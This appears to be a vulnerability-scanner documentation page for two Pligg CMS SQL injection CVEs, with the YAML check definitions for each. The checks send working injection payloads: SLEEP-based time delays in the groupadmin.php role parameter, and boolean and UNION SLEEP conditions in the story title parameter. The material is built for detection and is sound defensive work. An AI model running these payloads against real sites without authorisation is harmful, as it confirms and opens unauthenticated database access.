Pligg — 2 vulnerability checks
noctis ships 2 vulnerability checks for Pligg, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Pligg CMS groupadmin.php role SQL Injection
| CVE | CVE-2010-3013 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, tcp_connect, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/pligg/CVE-2010-3013.yaml |
Pligg CMS before 1.1.1 copies the role parameter of groupadmin.php, which needs no login, unescaped into the SQL statement that changes a group member's role, allowing unauthenticated SQL injection.
This check opens a session on groupadmin.php (the page refuses parameters from a client without one), then confirms that a benign request for a random group gets Pligg's redirect to that group's page. It then sends two requests whose role replaces the statement's condition with one that makes the database sleep for a random delay and matches no row, and confirms each reply is slowed by its delay. The injected condition is always false, so no group membership is changed. The site root and /pligg are tried.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{base}}/groupadmin.php HTTP/1.0 - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{base}}/groupadmin.php?id={{sc.gid}}&userid=0&role=normal - HTTP(S) request
GET {{base}}/groupadmin.php?id={{sc.gid}}&userid=0&role=normal - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{base}}/groupadmin.php?id={{sc.gid}}&userid=0&role=normal%27%20WHERE%200%20OR%20(SEL… - HTTP(S) request
GET {{base}}/groupadmin.php?id={{sc.gid}}&userid=0&role=normal%27%20WHERE%200%20OR%20(SEL… - Parses / computes the next value with a Rhai script
- Checks
tm.foundfor^SLEEP$→ finding QoD 75: Pligg CMS groupadmin.php role SQL Injection (CVE-2010-3013)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2010-3013
- https://sourceforge.net/projects/pligg/files/Pligg%20CMS/
Feed source — tests/vulnerabilities/pligg/CVE-2010-3013.yaml
# Pligg CMS < 1.1.1 — groupadmin.php 'role' SQL injection (CVE-2010-3013)
#
# Pligg 1.1.0 groupadmin.php (read from the SourceForge "Pligg CMS 1.1.0.zip" and
# "1.1.1.zip") checks no login at all:
# check_referrer();
# if(isset($_REQUEST["role"])){
# $id = $_REQUEST["id"]; $userid = $_REQUEST["userid"];
# if(!is_numeric($id) || !is_numeric($userid)){die();}
# $role = $_REQUEST["role"];
# UPDATE <group_member> set member_role='".$role."' WHERE member_user_id =$userid
# and member_group_id =$id
# header("Location: " . getmyurl("group_story", $id));
# 1.1.1 changes the role line to $db->escape($_REQUEST["role"]). config.php undoes
# magic quotes, and error_reporting(E_ERROR) hides SQL errors.
# check_referrer() kills a request that has parameters but neither a Referer from
# the site's own base URL nor an existing session ("Wrong security code"): the
# feed first GETs groupadmin.php without parameters, which starts the PHP session,
# and sends every cookie of that reply back (raw request: http_request keeps only
# the last Set-Cookie).
#
# Source NASL (2010/gb_pligg_mult_sql_inj_vuln.nasl) only compares the detected
# version with 1.1.1. This feed proves the injection with a statement that cannot
# change a row:
# 0. Gate: id=<random group>&userid=0&role=normal must redirect to Pligg's
# group page for that random id (group_story.php?id=<id> or /groups/id/<id>/).
# No membership has user id 0, so this UPDATE matches nothing.
# 1. role=normal' WHERE 0 OR (SELECT * FROM (SELECT(SLEEP(n)))nctq)=-1-- - for
# a long then a short random n. The injected WHERE replaces the original one;
# SLEEP() returns 0 (1 if interrupted), never -1, so it is false for every row
# and nothing is updated, and
# the derived table makes the database sleep exactly once whatever the
# number of rows. Both replies must be the same group redirect, each delayed
# by its n over the baseline (gate sent twice, faster kept), the longer one
# >= 2 s more (a constant tarpit stays clean) — QoD 75.
# MariaDB sleeps even on an empty group_member table (checked on 10.11);
# MySQL 5.6+ may skip the derived table when that table is empty (a site that
# never used groups) — a possible miss, never a false positive. The
# CVE-2010-2577 feed covers the same releases without that limit.
#
# Source: OpenVAS/Greenbone NASL 2010/gb_pligg_mult_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801258, GPL-2.0-only)
uid: eb70cdb9-31df-42a2-9225-b4bce1272279
name: "Pligg CMS groupadmin.php role SQL Injection (CVE-2010-3013)"
description: |
Pligg CMS before 1.1.1 copies the role parameter of groupadmin.php, which
needs no login, unescaped into the SQL statement that changes a group
member's role, allowing unauthenticated SQL injection.
This check opens a session on groupadmin.php (the page refuses parameters
from a client without one), then confirms that a benign request for a random
group gets Pligg's redirect to that group's page. It then sends two requests
whose role replaces the statement's condition with one that makes the
database sleep for a random delay and matches no row, and confirms each
reply is slowed by its delay. The injected condition is always false, so no
group membership is changed. The site root and /pligg are tried.
cves: [CVE-2010-3013]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [pligg, cms, sqli, time-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-3013"
- "https://sourceforge.net/projects/pligg/files/Pligg%20CMS/"
steps:
# ── Random group id and delays ─────────────────────────────────────────────
- id: gen
action: script
code: |
let s1 = rand_int(4, 5);
#{ gid: rand_int(700000, 999999), s1: s1, s2: s1 + 3 }
store_as: sc
# ── Per candidate install directory (loop group) ───────────────────────────
# Pre-initialise every stored result a script reads: a failed request leaves
# store_as unset and an undefined var would abort the whole test.
- id: init-mint
action: set_var
var_name: mint
var_value: {connected: false, banner: null}
loop:
over: ["", "/pligg"]
var: base
- id: init-base1
action: set_var
var_name: base1
var_value: {status: 0, body: null, headers: {}, duration_ms: 0}
- id: init-base2
action: set_var
var_name: base2
var_value: {status: 0, body: null, headers: {}, duration_ms: 0}
- id: init-sl1
action: set_var
var_name: sl1
var_value: {status: 0, body: null, headers: {}, duration_ms: 0}
- id: init-sl2
action: set_var
var_name: sl2
var_value: {status: 0, body: null, headers: {}, duration_ms: 0}
# ── 0. Session: groupadmin.php without parameters ─────────────────────────
- id: mint
action: tcp_connect
port: "{{port}}"
send: "GET {{base}}/groupadmin.php HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n\r\n"
store_as: mint
- id: session
action: script
code: |
let out = #{ ok: false, cookie: "" };
if type_of(mint.banner) == "string" {
let head = mint.banner;
let cut = stridx(head, "\r\n\r\n");
if cut < 0 { cut = stridx(head, "\n\n"); }
if cut >= 0 { head = substr(head, 0, cut); }
if ereg("^HTTP/1\\.[01] 200 ", head) {
let jar = #{};
for raw in split(head, "\n") {
let c = eregmatch("^set-cookie:[ \\t]*([A-Za-z0-9_.-]+)=([^;\\r]*)", raw, true);
if c.len() < 3 || c[2] == "" || c[2] == "deleted" { continue; }
jar[c[1]] = c[2];
}
for k in jar.keys() {
if out.cookie != "" { out.cookie += "; "; }
out.cookie += k + "=" + jar[k];
}
out.ok = out.cookie != "";
}
}
out
store_as: s
# ── Gate + baseline: benign role, random group, no matching member ────────
- id: baseline-1
action: http_request
method: GET
port: "{{port}}"
path: "{{base}}/groupadmin.php?id={{sc.gid}}&userid=0&role=normal"
condition: "s.ok"
headers:
Cookie: "{{s.cookie}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
store_as: base1
- id: baseline-2
action: http_request
method: GET
port: "{{port}}"
path: "{{base}}/groupadmin.php?id={{sc.gid}}&userid=0&role=normal"
condition: "s.ok && (base1.status == 301 || base1.status == 302)"
headers:
Cookie: "{{s.cookie}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
store_as: base2
- id: check-baseline
action: script
code: |
let re = "(/group_story\\.php\\?id=" + sc.gid + "|/groups/id/" + sc.gid + "/)$";
let l1 = base1.headers["location"];
let l2 = base2.headers["location"];
let ok = s.ok
&& (base1.status == 301 || base1.status == 302) && type_of(l1) == "string" && ereg(re, l1)
&& (base2.status == 301 || base2.status == 302) && type_of(l2) == "string" && ereg(re, l2);
let d = if base1.duration_ms < base2.duration_ms { base1.duration_ms } else { base2.duration_ms };
#{ ok: ok && d < 10000, d: d, re: re }
store_as: bl
# ── 1. Time-based proof: always-false injected WHERE with a derived SLEEP ──
- id: sleep-long
action: http_request
method: GET
port: "{{port}}"
path: "{{base}}/groupadmin.php?id={{sc.gid}}&userid=0&role=normal%27%20WHERE%200%20OR%20(SELECT%20*%20FROM%20(SELECT(SLEEP({{sc.s2}})))nctq)=-1--%20-"
condition: "bl.ok"
headers:
Cookie: "{{s.cookie}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 40
store_as: sl2
- id: sleep-short
action: http_request
method: GET
port: "{{port}}"
path: "{{base}}/groupadmin.php?id={{sc.gid}}&userid=0&role=normal%27%20WHERE%200%20OR%20(SELECT%20*%20FROM%20(SELECT(SLEEP({{sc.s1}})))nctq)=-1--%20-"
condition: "bl.ok && sl2.duration_ms >= bl.d + sc.s2 * 1000 - 1000 && sl2.duration_ms <= bl.d + sc.s2 * 1000 + 4000"
headers:
Cookie: "{{s.cookie}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 40
store_as: sl1
# Each delay within its own window over the baseline, both replies the same
# group redirect, and the longer SLEEP measurably longer than the shorter.
- id: check-timing
action: script
code: |
let l1 = sl1.headers["location"];
let l2 = sl2.headers["location"];
let r1 = type_of(l1) == "string" && ereg(bl.re, l1);
let r2 = type_of(l2) == "string" && ereg(bl.re, l2);
let d1 = sl1.duration_ms - bl.d;
let d2 = sl2.duration_ms - bl.d;
let w1 = d1 >= sc.s1 * 1000 - 1000 && d1 <= sc.s1 * 1000 + 4000;
let w2 = d2 >= sc.s2 * 1000 - 1000 && d2 <= sc.s2 * 1000 + 4000;
let hit = bl.ok && r1 && r2 && w1 && w2 && (d2 - d1) >= 2000;
#{ hit: hit, found: if hit { "SLEEP" } else { "" } }
store_as: tm
- id: report-timing
action: match
source: tm.found
pattern: "^SLEEP$"
condition: "tm.hit"
on_match:
finding:
title: "Pligg CMS groupadmin.php role SQL Injection (CVE-2010-3013)"
description: "The role parameter of {{base}}/groupadmin.php is injectable without authentication: injected SLEEP() calls delayed the reply by the requested time."
confidence_delta: 0.50
qod: 75
evidence: "Time-based SQLi in role of GET {{base}}/groupadmin.php (no login): role=normal' WHERE 0 OR (SELECT * FROM (SELECT(SLEEP(n)))nctq)=-1-- - delayed Pligg's redirect to group {{sc.gid}} by the injected n — baseline {{bl.d}} ms, SLEEP({{sc.s1}}) {{sl1.duration_ms}} ms, SLEEP({{sc.s2}}) {{sl2.duration_ms}} ms; the injected condition matches no row, nothing was updated"
remediation: "Update Pligg CMS to 1.1.1 or later."
stop: truePligg CMS storyrss.php / story.php title SQL Injection
| CVE | CVE-2010-2577 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/pligg/CVE-2010-2577.yaml |
Pligg CMS before 1.1.1 copies the title parameter of storyrss.php and story.php, which need no login, into the SQL query that looks up a story, with its quotes restored, allowing unauthenticated SQL injection.
This check first confirms that a request for a random story title gets Pligg's not-found redirect. It then sends a title whose injected condition compares the product of two random numbers with its correct value, and confirms that Pligg shows a story, while the same request with a wrong product gets the not-found redirect. When the site has no story to show, it confirms the injection by timing instead: requests whose title makes the database sleep for two different random delays must each be slowed by their delay compared with a benign request. Nothing is written to the database. The site root and /pligg are tried.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{page}}?title={{sc.rnd}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{page}}?title={{sc.rnd}}%27%20OR%20{{sc.a}}*{{sc.b}}={{sc.prod}}{{sc.order}} - HTTP(S) request
GET {{page}}?title={{sc.rnd}}%27%20OR%20{{sc.a}}*{{sc.b}}={{sc.bad}}{{sc.order}} - Parses / computes the next value with a Rhai script
- Checks
bo.foundfor^BOOLEAN$→ finding QoD 97: Pligg CMS title SQL Injection (CVE-2010-2577) - HTTP(S) request
GET {{page}}?title={{sc.rnd}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{page}}?title={{sc.rnd}}%27%20UNION%20SELECT%20SLEEP({{sc.s2}})--%20- - HTTP(S) request
GET {{page}}?title={{sc.rnd}}%27%20UNION%20SELECT%20SLEEP({{sc.s1}})--%20- - Parses / computes the next value with a Rhai script
- Checks
tm.foundfor^SLEEP$→ finding QoD 75: Pligg CMS title SQL Injection (CVE-2010-2577)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2010-2577
- https://sourceforge.net/projects/pligg/files/Pligg%20CMS/
Feed source — tests/vulnerabilities/pligg/CVE-2010-2577.yaml
# Pligg CMS < 1.1.1 — storyrss.php / story.php 'title' SQL injection (CVE-2010-2577)
#
# Pligg 1.1.0 (read from the SourceForge "Pligg CMS 1.1.0.zip" and "1.1.1.zip"):
# storyrss.php $requestTitle = sanitize(sanitize($_GET['title'], 3), 4);
# SELECT link_id FROM <links> WHERE `link_title_url` = '$requestTitle';
# story.php $requestTitle = sanitize($_GET['title'], 3);
# ... WHERE `link_title_url` = '".sanitize($requestTitle,4)."';
# sanitize(x,3) is addslashes(strip_tags(x)) and sanitize(x,4) is stripslashes(...),
# so the quote comes back raw into the query. When the returned link_id reads a
# story, storyrss.php prints its RSS feed (story.php its page); otherwise both
# redirect to <base>/404error.php. 1.1.1 wraps the value in $db->escape().
# config.php sets error_reporting(E_ERROR), so SQL errors are never shown.
#
# Source NASL (2010/gb_pligg_mult_sql_inj_vuln.nasl) only compares the version
# detected by another plugin with 1.1.1. This feed proves the injection itself,
# read-only, at the site root and under /pligg:
# 0. Gate: a random title must redirect to .../404error.php (Pligg's not-found).
# 1. Boolean proof (QoD 97): title=<rnd>' OR a*b=<a*b> ORDER BY
# link_status=0x7370616d,link_id LIMIT 1-- - must return a story (200; the RSS
# document for storyrss.php) while the same request with a*b+1 redirects to
# 404error.php — the database evaluated our random product. Every install
# has at least the "About" page (link 1, status 'page'); spam links are
# sorted last because Pligg hides them.
# 2. Time-based fallback (QoD 75) when no readable story exists: after the
# random-title baseline (sent twice, the faster kept), title=<rnd>' UNION
# SELECT SLEEP(n)-- - for a long then a short random n; each reply must be
# the 404error.php redirect and be delayed by its n, the longer one >= 2 s
# more (a constant tarpit stays clean). The UNION row is evaluated once.
# Nothing is written: both queries are SELECTs. The 404 path also runs Pligg's
# redirector lookup (a SELECT on the redirects table).
#
# Source: OpenVAS/Greenbone NASL 2010/gb_pligg_mult_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801258, GPL-2.0-only)
uid: 66235821-0731-4376-974e-b62ee5ac8eff
name: "Pligg CMS storyrss.php / story.php title SQL Injection (CVE-2010-2577)"
description: |
Pligg CMS before 1.1.1 copies the title parameter of storyrss.php and
story.php, which need no login, into the SQL query that looks up a story,
with its quotes restored, allowing unauthenticated SQL injection.
This check first confirms that a request for a random story title gets
Pligg's not-found redirect. It then sends a title whose injected condition
compares the product of two random numbers with its correct value, and
confirms that Pligg shows a story, while the same request with a wrong
product gets the not-found redirect. When the site has no story to show, it
confirms the injection by timing instead: requests whose title makes the
database sleep for two different random delays must each be slowed by their
delay compared with a benign request. Nothing is written to the database.
The site root and /pligg are tried.
cves: [CVE-2010-2577]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [pligg, cms, sqli, boolean-based, time-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-2577"
- "https://sourceforge.net/projects/pligg/files/Pligg%20CMS/"
steps:
# ── Random title, operands and delays ──────────────────────────────────────
- id: gen
action: script
code: |
let a = rand_int(10000, 46000);
let b = rand_int(10000, 46000);
let prod = a * b;
let rnd = "nct" + rand_hex(6);
let s1 = rand_int(4, 5);
#{
a: a, b: b, prod: prod, bad: prod + 1, rnd: rnd, s1: s1, s2: s1 + 3,
order: "%20ORDER%20BY%20link_status=0x7370616d,link_id%20LIMIT%201--%20-"
}
store_as: sc
# ── Per candidate page (loop group) ────────────────────────────────────────
# Pre-initialise every stored result a script reads: a failed request leaves
# store_as unset and an undefined var would abort the whole test.
- id: init-gate
action: set_var
var_name: gate
var_value: {status: 0, body: null, headers: {}, duration_ms: 0}
loop:
over: ["/storyrss.php", "/story.php", "/pligg/storyrss.php", "/pligg/story.php"]
var: page
- id: init-tru
action: set_var
var_name: tru
var_value: {status: 0, body: null, headers: {}, duration_ms: 0}
- id: init-fal
action: set_var
var_name: fal
var_value: {status: 0, body: null, headers: {}, duration_ms: 0}
- id: init-base2
action: set_var
var_name: base2
var_value: {status: 0, body: null, headers: {}, duration_ms: 0}
- id: init-sl1
action: set_var
var_name: sl1
var_value: {status: 0, body: null, headers: {}, duration_ms: 0}
- id: init-sl2
action: set_var
var_name: sl2
var_value: {status: 0, body: null, headers: {}, duration_ms: 0}
# ── 0. Gate: a random title gets Pligg's not-found redirect ───────────────
- id: gate
action: http_request
method: GET
port: "{{port}}"
path: "{{page}}?title={{sc.rnd}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
store_as: gate
- id: check-gate
action: script
code: |
let loc = gate.headers["location"];
let ok = (gate.status == 301 || gate.status == 302) && type_of(loc) == "string"
&& ereg("/404error\\.php$", loc);
#{ ok: ok, rss: page.ends_with("storyrss.php") }
store_as: g
# ── 1. Boolean proof on a database-computed product ───────────────────────
- id: bool-true
action: http_request
method: GET
port: "{{port}}"
path: "{{page}}?title={{sc.rnd}}%27%20OR%20{{sc.a}}*{{sc.b}}={{sc.prod}}{{sc.order}}"
condition: "g.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
store_as: tru
- id: bool-false
action: http_request
method: GET
port: "{{port}}"
path: "{{page}}?title={{sc.rnd}}%27%20OR%20{{sc.a}}*{{sc.b}}={{sc.bad}}{{sc.order}}"
condition: "g.ok && tru.status == 200"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
store_as: fal
- id: check-bool
action: script
code: |
let body = if type_of(tru.body) == "string" { tru.body } else { "" };
let floc = fal.headers["location"];
let shown = tru.status == 200 && (!g.rss || body.contains("<rss version=\"2.0\""));
let refused = (fal.status == 301 || fal.status == 302) && type_of(floc) == "string"
&& ereg("/404error\\.php$", floc);
let hit = g.ok && shown && refused;
#{ hit: hit, found: if hit { "BOOLEAN" } else { "" } }
store_as: bo
- id: report-bool
action: match
source: bo.found
pattern: "^BOOLEAN$"
condition: "bo.hit"
on_match:
finding:
title: "Pligg CMS title SQL Injection (CVE-2010-2577)"
description: "The title parameter of {{page}} is injectable without authentication: the database evaluated an injected condition on a random product."
confidence_delta: 0.65
qod: 97
evidence: "Boolean SQLi confirmed in title of GET {{page}}: a random title ({{sc.rnd}}) and the condition {{sc.a}}*{{sc.b}}={{sc.bad}} got the 404error.php redirect, while {{sc.a}}*{{sc.b}}={{sc.prod}} (the correct product) returned a story with HTTP 200"
remediation: "Update Pligg CMS to 1.1.1 or later."
stop: true
# ── 2. Time-based fallback (no readable story on the site) ────────────────
- id: baseline-2
action: http_request
method: GET
port: "{{port}}"
path: "{{page}}?title={{sc.rnd}}"
condition: "g.ok && !bo.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
store_as: base2
- id: check-baseline
action: script
code: |
let ok = g.ok && !bo.hit && base2.status == gate.status;
let d = if gate.duration_ms < base2.duration_ms { gate.duration_ms } else { base2.duration_ms };
#{ ok: ok && d < 10000, d: d }
store_as: bl
- id: sleep-long
action: http_request
method: GET
port: "{{port}}"
path: "{{page}}?title={{sc.rnd}}%27%20UNION%20SELECT%20SLEEP({{sc.s2}})--%20-"
condition: "bl.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 40
store_as: sl2
- id: sleep-short
action: http_request
method: GET
port: "{{port}}"
path: "{{page}}?title={{sc.rnd}}%27%20UNION%20SELECT%20SLEEP({{sc.s1}})--%20-"
condition: "bl.ok && sl2.duration_ms >= bl.d + sc.s2 * 1000 - 1000 && sl2.duration_ms <= bl.d + sc.s2 * 1000 + 4000"
tls_insecure: true
follow_redirects: false
timeout_secs: 40
store_as: sl1
# Each delay within its own window over the baseline, both replies Pligg's
# not-found redirect, and the longer SLEEP measurably longer than the shorter.
- id: check-timing
action: script
code: |
let l1 = sl1.headers["location"];
let l2 = sl2.headers["location"];
let r1 = type_of(l1) == "string" && ereg("/404error\\.php$", l1);
let r2 = type_of(l2) == "string" && ereg("/404error\\.php$", l2);
let d1 = sl1.duration_ms - bl.d;
let d2 = sl2.duration_ms - bl.d;
let w1 = d1 >= sc.s1 * 1000 - 1000 && d1 <= sc.s1 * 1000 + 4000;
let w2 = d2 >= sc.s2 * 1000 - 1000 && d2 <= sc.s2 * 1000 + 4000;
let hit = bl.ok && r1 && r2 && w1 && w2 && (d2 - d1) >= 2000;
#{ hit: hit, found: if hit { "SLEEP" } else { "" } }
store_as: tm
- id: report-timing
action: match
source: tm.found
pattern: "^SLEEP$"
condition: "tm.hit"
on_match:
finding:
title: "Pligg CMS title SQL Injection (CVE-2010-2577)"
description: "The title parameter of {{page}} is injectable without authentication: injected SLEEP() calls delayed the reply by the requested time."
confidence_delta: 0.50
qod: 75
evidence: "Time-based SQLi in title of GET {{page}}: title=<random>' UNION SELECT SLEEP(n)-- - delayed Pligg's not-found redirect by the injected n — baseline {{bl.d}} ms, SLEEP({{sc.s1}}) {{sl1.duration_ms}} ms, SLEEP({{sc.s2}}) {{sl2.duration_ms}} ms"
remediation: "Update Pligg CMS to 1.1.1 or later."
stop: true